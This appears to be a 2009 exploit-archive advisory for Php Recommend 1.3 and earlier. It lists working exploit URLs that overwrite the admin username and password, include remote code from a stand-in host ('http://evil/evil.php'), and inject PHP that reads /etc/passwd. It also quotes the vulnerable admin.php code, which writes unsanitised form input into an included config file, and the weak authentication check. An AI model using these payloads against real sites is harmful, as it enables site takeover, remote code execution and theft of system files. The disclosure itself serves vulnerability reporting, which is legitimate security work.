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Php Recommend <= 1.3 (AB/RFI/CI) Multiple Remote Vulnerabilities

Author
scriptjunkie
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-5157
Category
web applications
Date add
10-05-2009
Platform
unsorted
================================================================
Php Recommend <= 1.3 (AB/RFI/CI) Multiple Remote Vulnerabilities
================================================================


Php Recommend <=1.3 Authentication Bypass/Remote File Include/Code Injection Exploits


Author: scriptjunkie  scriptjunkie.1 {nospam} googlemail {nospam} com
Condition: RFI:  allow_url_fopen = On
code injection: magic_quotes_gpc = Off

Exploits:
Authentication Bypass:
change admin username and password:
vulnerable.com/admin.php?submit=submit&form_admin_user=USERNAME&form_admin_pass=PASSWORD

RFI:
vulnerable.com/admin.php?submit=submit&form_include_template=http://evil/evil.php

Code Injection:
vulnerable.com/admin.php?submit=submit&form_aula=';readfile('/etc/passwd');'


Vulnerable code in "admin.php":

if($submit){
$a = "'";
$b = "<";
$c = ">";
$d = "";
$content = "".$b."?php
// Php Recommmend
// Created By Frax.dk
// GNU Licens
// Please do not delete this text
$".$d."page = '".$form_page."';
$".$d."include_template = '".$form_include_template."';
$".$d."cap = '".$form_cap."';
$".$d."title = '".$form_title."';
$".$d."aula = '".$form_aula."';
$".$d."language = '".$form_language."';
$".$d."admin_user = '".$form_admin_user."';
$".$d."admin_pass = '".$form_admin_pass."';

// -- Maincore -- //

include $".$d."include_template;
?".$c."";

$file_name = "phpre_config.php";
$file = $file_name;
$create_file = fopen($file, "w+");

if(!$create_file){die("<td><span style='color:red;'><? echo $error1; ?></span></td>\n");}

//attempt to write basic content to the file
if (fwrite($create_file, $content) === FALSE) {
echo "<td><span style='color:red;'><? echo $error2; ?></span></td>\n";
}else{echo "Succes";}
fclose($create_file);


which is reached since the authentication in server.php:
if($user == $admin_user && $admin_pass == $pass){
$error = "false";
}else{
setcookie("phpre_user", "", time()-3600);
setcookie("phpre_pass", "", time()-3600);
$error = "true";
}

is not checked sufficiently.



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